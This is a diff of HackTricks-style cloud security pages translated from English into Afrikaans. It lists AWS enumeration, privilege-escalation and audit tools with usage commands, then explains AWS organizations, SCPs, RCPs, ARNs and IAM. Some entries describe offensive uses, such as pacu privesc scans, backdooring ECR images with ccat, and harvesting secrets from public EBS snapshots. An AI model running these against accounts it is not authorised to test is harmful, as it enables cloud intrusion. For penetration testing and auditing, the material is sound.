- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is 'n **multi-cloud hulpmiddel om Bate** (Gasname, IP Adresse) van Wolk Verskaffers te verkry.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper help jou om jou Amazon Web Services (AWS) omgewings te analiseer. Dit bevat nou baie meer funksionaliteit, insluitend ouditering vir sekuriteitskwessies.
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
{
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
}
|
||||
|
||||
# Enumerate
|
||||
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
|
||||
python cloudmapper.py prepare #Prepare webserver
|
||||
python cloudmapper.py webserver #Show webserver
|
||||
```
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography is 'n Python-gereedskap wat infrastruktuur bates en die verhoudings tussen hulle in 'n intuïtiewe grafiekweergave saamvoeg, aangedryf deur 'n Neo4j-databasis.
|
||||
```bash
|
||||
# Install
|
||||
pip install cartography
|
||||
@@ -240,17 +233,15 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase versamel bates en verhoudings van dienste en stelsels, insluitend wolkinfrastruktuur, SaaS-toepassings, sekuriteitsbeheer, en meer in 'n intuïtiewe grafiekweergave wat deur die Neo4j-databasis ondersteun word.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Gebruik python2) Dit is 'n hulpmiddel wat probeer om **alle** [**AWS hulpbronne**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) wat in 'n rekening geskep is, te **ontdek**.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Dit is 'n hulpmiddel om **alle publieke IP-adresse** (both IPv4/IPv6) wat met 'n AWS-rekening geassosieer is, te **haal**.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
|
||||
- Note that pacu **only checks your own privescs paths** (not account wide).
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Ontdek die mees bevoorregte gebruikers in die gescande AWS-omgewing, insluitend die AWS Shadow Admins. Dit gebruik powershell. Jy kan die **definisie van bevoorregte beleide** in die funksie **`Check-PrivilegedPolicy`** vind in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is 'n oopbron **AWS eksploitasiestelsel**, ontwerp vir offensiewe sekuriteitstoetsing teen wolkomgewings. Dit kan **opnoem**, **mis-konfigurasies** vind en dit **eksploiteer**. Jy kan die **definisie van bevoorregte toestemmings** vind in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) binne die **`user_escalation_methods`** dict.
|
||||
- Let daarop dat pacu **slegs jou eie privesc-paaie nagaan** (nie rekeningwyd nie).
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -264,9 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is 'n skrif en biblioteek om risiko's in die konfigurasie van AWS Identity and Access Management (IAM) vir 'n AWS-rekening of 'n AWS-organisasie te identifiseer. Dit modelleer die verskillende IAM-gebruikers en rolle in 'n rekening as 'n gerigte grafiek, wat toelaat dat kontroles vir **privilege escalation** en vir alternatiewe paaie wat 'n aanvaller kan neem om toegang tot 'n hulpbron of aksie in AWS te verkry, gedoen word. Jy kan die **permissions used to find privesc** paaie in die lêername wat eindig op `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) nagaan.
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
|
||||
pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
|
||||
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is 'n AWS IAM Sekuriteitsbeoordeling hulpmiddel wat oortredings van die minste voorreg identifiseer en 'n risiko-geprioritiseerde HTML-verslag genereer.\
|
||||
Dit sal jou moontlik **oorvoorregte** kliënt, inline en aws **beleide** wys en watter **beginsels toegang tot hulle het**. (Dit kontroleer nie net vir privesc nie, maar ook ander soort interessante toestemmings, dit word aanbeveel om te gebruik).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack evalueer AWS-rekeninge vir **subdomein-hijacking kwesbaarhede** as gevolg van ontkoppelde Route53 en CloudFront konfigurasies.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lys ECR repos -> Trek ECR repo -> Backdoor dit -> Stoot backdoored beeld
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is 'n hulpmiddel wat **soek** deur openbare Elastic Block Storage (**EBS) snapshots vir geheime** wat dalk per ongeluk agtergelaat is.
|
||||
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
|
||||
|
||||
### Audit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
|
||||
### Oudit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit deur Aqua is 'n oopbronprojek wat ontwerp is om die opsporing van **veiligheidsrisiko's in wolkinfrastruktuur** rekeninge moontlik te maak, insluitend: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), en GitHub (Dit soek nie na ShadowAdmins nie).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is 'n Open Source sekuriteitstoepassing om AWS sekuriteit beste praktyke assesserings, ouditte, insidentrespons, deurlopende monitering, verharding en forensiese gereedheid uit te voer.
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -331,15 +314,11 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox help jou om situasionele bewustheid te verkry in onbekende wolkomgewings. Dit is 'n oopbron-opdraglyn hulpmiddel wat geskep is om penetrasietoetsers en ander offensiewe sekuriteitsprofessionals te help om ontginbare aanvalspaaie in wolkinfrastruktuur te vind.
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is 'n oopbron multi-cloud sekuriteitsouditeringstoel, wat sekuriteitsposisie-evaluering van wolkomgewings moontlik maak.
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -350,18 +329,16 @@ scout --help
|
||||
# Get info
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (gebruik python2.7 en lyk ononderhoude)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is 'n kragtige hulpmiddel vir AWS EC2 / S3 / CloudTrail / CloudWatch / KMS beste versterking praktyke (lyk ononderhoude). Dit kontroleer slegs standaard geconfigureerde kredensiale binne die stelsel.
|
||||
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
|
||||
### Konstante Oudit
|
||||
|
||||
### Constant Audit
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is 'n reëlsengine vir die bestuur van openbare wolk rekeninge en hulpbronne. Dit stel gebruikers in staat om **beleide te definieer om 'n goed bestuurde wolkinfrastruktuur te enable**, wat beide veilig en koste-geoptimaliseer is. Dit konsolideer baie van die adhoc skripte wat organisasies het in 'n liggewig en buigsame hulpmiddel, met verenigde metrieke en verslagdoening.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is 'n platform vir **deurlopende nakoming monitering, nakoming verslagdoening en sekuriteitsoutomatisering vir die wolk**. In PacBot word sekuriteit en nakoming beleid as kode geïmplementeer. Alle hulpbronne wat deur PacBot ontdek word, word teen hierdie beleide geëvalueer om beleid nakoming te meet. Die PacBot **auto-fix** raamwerk bied die vermoë om outomaties op beleid oortredings te reageer deur vooraf gedefinieerde aksies te neem.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is 'n serverless, **regte-tyd** data analise raamwerk wat jou in staat stel om **data van enige omgewing in te neem, te analiseer en te waarsku**. Rekenaar sekuriteitspanne gebruik StreamAlert om terabytes van logdata elke dag te skandeer vir insidentdetectie en -reaksie.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
|
||||
```bash
|
||||
# Set proxy
|
||||
export HTTP_PROXY=http://localhost:8080
|
||||
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
|
||||
# Run aws cli normally trusting burp cert
|
||||
aws ...
|
||||
```
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,351 +1,339 @@
|
||||
# AWS - Basic Information
|
||||
# AWS - Basiese Inligting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organization Hierarchy
|
||||
## Organisasie Hiërargie
|
||||
|
||||
.png>)
|
||||
|
||||
### Accounts
|
||||
### Rekeninge
|
||||
|
||||
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
|
||||
In AWS is daar 'n **root rekening**, wat die **ouerhouer is vir al die rekeninge** van jou **organisasie**. Jy hoef egter nie daardie rekening te gebruik om hulpbronne te ontplooi nie, jy kan **ander rekeninge skep om verskillende AWS** infrastruktuur van mekaar te skei.
|
||||
|
||||
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
|
||||
Dit is baie interessant vanuit 'n **veiligheid** oogpunt, aangesien **een rekening nie toegang sal hê tot hulpbronne van 'n ander rekening** nie (behalwe as brûe spesifiek geskep word), so op hierdie manier kan jy grense tussen ontplooiings skep.
|
||||
|
||||
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
|
||||
Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rekeninge en nie gebruikersrekeninge nie): 'n enkele rekening wat as die bestuurrekening aangewys word, en een of meer lidrekeninge.
|
||||
|
||||
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
|
||||
- Die **bestuurrekening (die root rekening)** is die rekening wat jy gebruik om die organisasie te skep. Van die organisasie se bestuurrekening af, kan jy die volgende doen:
|
||||
|
||||
- Create accounts in the organization
|
||||
- Invite other existing accounts to the organization
|
||||
- Remove accounts from the organization
|
||||
- Manage invitations
|
||||
- Apply policies to entities (roots, OUs, or accounts) within the organization
|
||||
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
|
||||
- It's possible to login as the root user using the email and password used to create this root account/organization.
|
||||
- Rekeninge in die organisasie skep
|
||||
- Ander bestaande rekeninge na die organisasie nooi
|
||||
- Rekeninge uit die organisasie verwyder
|
||||
- Uitnodigings bestuur
|
||||
- Beleide toepas op entiteite (wortels, OUs, of rekeninge) binne die organisasie
|
||||
- Integrasie met ondersteunende AWS dienste inskakel om diensfunksionaliteit oor al die rekeninge in die organisasie te bied.
|
||||
- Dit is moontlik om as die root gebruiker aan te meld met die e-pos en wagwoord wat gebruik is om hierdie root rekening/organisasie te skep.
|
||||
|
||||
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
|
||||
|
||||
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
|
||||
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
|
||||
Die bestuurrekening het die **verantwoordelikhede van 'n betaler rekening** en is verantwoordelik vir die betaling van alle koste wat deur die lidrekeninge opgeloop word. Jy kan nie 'n organisasie se bestuurrekening verander nie.
|
||||
|
||||
- **Lidrekeninge** maak al die res van die rekeninge in 'n organisasie uit. 'n Rekening kan slegs 'n lid van een organisasie op 'n slag wees. Jy kan 'n beleid aan 'n rekening koppel om kontroles slegs op daardie een rekening toe te pas.
|
||||
- Lidrekeninge **moet 'n geldige e-posadres gebruik** en kan 'n **naam** hê; in die algemeen sal hulle nie in staat wees om die faktuur te bestuur nie (maar hulle mag toegang daartoe gegee word).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
### **Organisasie-eenhede**
|
||||
|
||||
### **Organization Units**
|
||||
|
||||
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
|
||||
|
||||
Rekeninge kan gegroepeer word in **Organisasie-eenhede (OU)**. Op hierdie manier kan jy **beleide** vir die Organisasie-eenheid skep wat **op al die kindrekeninge toegepas gaan word**. Let daarop dat 'n OU ander OUs as kinders kan hê.
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
|
||||
'n **service control policy (SCP)** is 'n beleid wat die dienste en aksies spesifiseer wat gebruikers en rolle in die rekeninge wat die SCP beïnvloed, kan gebruik. SCPs is **soortgelyk aan IAM** toestemmingsbeleide, behalwe dat hulle **nie enige toestemmings toeken** nie. In plaas daarvan spesifiseer SCPs die **maksimum toestemmings** vir 'n organisasie, organisatoriese eenheid (OU), of rekening. Wanneer jy 'n SCP aan jou organisasie se wortel of 'n OU heg, **beperk die SCP toestemmings vir entiteite in lidrekeninge**.
|
||||
|
||||
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
|
||||
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
|
||||
Dit is die ENIGE manier waarop **selfs die wortelgebruiker gestop kan word** om iets te doen. Byvoorbeeld, dit kan gebruik word om gebruikers te stop om CloudTrail te deaktiveer of rugsteun te verwyder.\
|
||||
Die enigste manier om dit te omseil, is om ook die **meesterrekening** wat die SCPs konfigureer, te kompromitteer (meesterrekening kan nie geblokkeer word nie).
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
|
||||
> Let daarop dat **SCPs slegs die principals in die rekening beperk**, so ander rekeninge word nie beïnvloed nie. Dit beteken dat 'n SCP wat `s3:GetObject` weier, nie mense sal stop om **toegang tot 'n openbare S3-bucket** in jou rekening te verkry nie.
|
||||
|
||||
SCP examples:
|
||||
SCP voorbeelde:
|
||||
|
||||
- Deny the root account entirely
|
||||
- Only allow specific regions
|
||||
- Only allow white-listed services
|
||||
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
|
||||
- Weier die wortelrekening heeltemal
|
||||
- Laat slegs spesifieke streke toe
|
||||
- Laat slegs witgelysde dienste toe
|
||||
- Weier GuardDuty, CloudTrail, en S3 Publieke Blok Toegang van
|
||||
|
||||
being disabled
|
||||
deaktiveer
|
||||
|
||||
- Deny security/incident response roles from being deleted or
|
||||
- Weier sekuriteit/voorvalrespons rolle om verwyder of
|
||||
|
||||
modified.
|
||||
gewysig te word.
|
||||
|
||||
- Deny backups from being deleted.
|
||||
- Deny creating IAM users and access keys
|
||||
- Weier rugsteun om verwyder te word.
|
||||
- Weier die skep van IAM gebruikers en toegang sleutels
|
||||
|
||||
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
Vind **JSON voorbeelde** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### Resource Control Policy (RCP)
|
||||
|
||||
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **don’t grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
|
||||
'n **resource control policy (RCP)** is 'n beleid wat die **maksimum toestemmings vir hulpbronne binne jou AWS-organisasie** definieer. RCPs is soortgelyk aan IAM beleide in sintaksis, maar **gee nie toestemmings nie**—hulle beperk slegs die toestemmings wat op hulpbronne deur ander beleide toegepas kan word. Wanneer jy 'n RCP aan jou organisasie se wortel, 'n organisatoriese eenheid (OU), of 'n rekening heg, beperk die RCP hulpbron toestemmings oor alle hulpbronne in die beïnvloede omvang.
|
||||
|
||||
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organization’s management account.
|
||||
Dit is die ENIGE manier om te verseker dat **hulpbronne nie vooraf gedefinieerde toegangsvlakke kan oorskry**—selfs as 'n identiteit-gebaseerde of hulpbron-gebaseerde beleid te permissief is. Die enigste manier om hierdie beperkings te omseil, is om ook die RCP wat deur jou organisasie se bestuursrekening gekonfigureer is, te wysig.
|
||||
|
||||
> [!WARNING]
|
||||
> RCPs only restrict the permissions that resources can have. They don’t directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the bucket’s permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
|
||||
> RCPs beperk slegs die toestemmings wat hulpbronne kan hê. Hulle beheer nie direk wat principals kan doen nie. Byvoorbeeld, as 'n RCP eksterne toegang tot 'n S3-bucket weier, verseker dit dat die bucket se toestemmings nooit aksies buite die gestelde limiet toelaat nie—selfs as 'n hulpbron-gebaseerde beleid verkeerd gekonfigureer is.
|
||||
|
||||
RCP examples:
|
||||
RCP voorbeelde:
|
||||
|
||||
- Restrict S3 buckets so they can only be accessed by principals within your organization
|
||||
- Limit KMS key usage to only allow operations from trusted organizational accounts
|
||||
- Cap permissions on SQS queues to prevent unauthorized modifications
|
||||
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
|
||||
- Beperk S3-buckets sodat hulle slegs deur principals binne jou organisasie toegang kan kry
|
||||
- Beperk KMS sleutelgebruik om slegs operasies van vertroude organisatoriese rekeninge toe te laat
|
||||
- Beperk toestemmings op SQS rye om ongeoorloofde wysigings te voorkom
|
||||
- Handhaaf toegang grense op Secrets Manager geheime om sensitiewe data te beskerm
|
||||
|
||||
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
Vind voorbeelde in [AWS Organizations Resource Control Policies dokumentasie](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
|
||||
|
||||
**Amazon Resource Name** is die **unieke naam** wat elke hulpbron binne AWS het, dit is soos volg saamgestel:
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
|
||||
Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
Let daarop dat daar 4 partities in AWS is, maar slegs 3 maniere om hulle te noem:
|
||||
|
||||
- AWS Standard: `aws`
|
||||
- AWS China: `aws-cn`
|
||||
- AWS US public Internet (GovCloud): `aws-us-gov`
|
||||
- AWS US publieke Internet (GovCloud): `aws-us-gov`
|
||||
- AWS Secret (US Classified): `aws`
|
||||
|
||||
## IAM - Identity and Access Management
|
||||
## IAM - Identiteit en Toegangsbestuur
|
||||
|
||||
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
|
||||
IAM is die diens wat jou sal toelaat om **Verifikasie**, **Magtiging** en **Toegangsbeheer** binne jou AWS-rekening te bestuur.
|
||||
|
||||
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
|
||||
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
|
||||
- **Access Control** - The method and process of how access is granted to a secure resource
|
||||
- **Verifikasie** - Proses om 'n identiteit te definieer en die verifikasie van daardie identiteit. Hierdie proses kan onderverdeel word in: Identifikasie en verifikasie.
|
||||
- **Magtiging** - Bepaal wat 'n identiteit kan toegang tot binne 'n stelsel nadat dit geverifieer is.
|
||||
- **Toegangsbeheer** - Die metode en proses van hoe toegang tot 'n veilige hulpbron toegestaan word.
|
||||
|
||||
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
|
||||
IAM kan gedefinieer word deur sy vermoë om verifikasie, magtiging en toegangsbeheer meganismes van identiteite tot jou hulpbronne binne jou AWS-rekening te bestuur, te beheer en te regeer.
|
||||
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
### [AWS rekening wortel gebruiker](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
|
||||
Wanneer jy vir die eerste keer 'n Amazon Web Services (AWS) rekening skep, begin jy met 'n enkele aanmeld identiteit wat **volledige toegang tot alle** AWS dienste en hulpbronne in die rekening het. Dit is die AWS rekening _**wortel gebruiker**_ en word verkry deur in te teken met die **e-posadres en wagwoord wat jy gebruik het om die rekening te skep**.
|
||||
|
||||
Note that a new **admin user** will have **less permissions that the root user**.
|
||||
Let daarop dat 'n nuwe **admin gebruiker** **minder regte as die wortel gebruiker** sal hê.
|
||||
|
||||
